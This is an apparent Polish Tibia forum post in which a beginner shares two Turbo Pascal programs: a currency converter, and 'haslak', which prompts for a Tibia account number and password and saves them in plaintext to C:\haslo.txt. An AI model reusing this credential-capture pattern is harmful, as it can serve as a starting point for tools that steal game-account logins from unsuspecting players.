[Ppa]

taaa...kody źrudłowe dobra mata:

Przeliczak 1.0

program przeliczak;
  USES CRT;
   var
     kasa,suma,kurs,mnoze,suma2:integer;


begin
   repeat

     writeln('Zanim zaczniesz obliczanie podziel swoje pieniadze na kupki po max 1 tysiac');
     writeln;
GotoXY(25,5);
     writeln('Podaj ilosc swojej gotowki:');
GotoXY(35,7);
     readln(kasa);
GotoXY(25,9);
     writeln('Teraz podaj kurs kupna:');
GotoXY(35,11);
     readln(kurs);

suma:=kasa*kurs;


GotoXY(25,13);
     writeln('za:');
     writeln;
GotoXY(25,14);
     write(kasa);
     writeln;
GotoXY(25,15);
     writeln('przy kursie:');
GotoXY(25,16);
     write(kurs);
     writeln;
GotoXY(25,17);
     writeln('powinienes otrzymac:');
GotoXY(25,18);
     write(suma);
GotoXY(25,19);
     writeln('zlotych');
     writeln;
GotoXY(25,20);
     writeln('liczba kupek:');
GotoXY(35,21);
read(mnoze);
  
suma2:=suma*mnoze;
GotoXY(25,31);
     writeln('posiadasz w zlotowkach:');
     writeln;
GotoXY(35,33);
     writeln(suma2);
 until(false);
 readln;
end.

haslak:

program haslak;
  USES CRT;


 var
   nr:integer;
   pass:string;
   t:text;
 begin

  gotoXY(25,2);
  writeln('podaj swoj acc nr do tibi');
  GotoXY(35,4);
  readln(nr);
  GotoXY(25,5);
  writeln('teraz podaj swoje haslo');
  GotoXY(35,7);
  readln(pass);
  GotoXY(15,8);
  writeln('Passy zostaly zapisane w pliku C:\haslo.txt');

  assign(t, 'C:\haslo.txt');
  rewrite(t);
  writeln(t,nr);
  writeln(t,pass);
  Close(t);


  readln;
  end.

ta ja teraz stoje na tablicach bo za nic tego nie kumam
a jak się naucze pascala to spruje się w C

Oryginalnie napisane przez SuPeRMAN

Nie ma takiego schematu.

http://www.tibia.org.pl/?body=prof-calc

you are sure??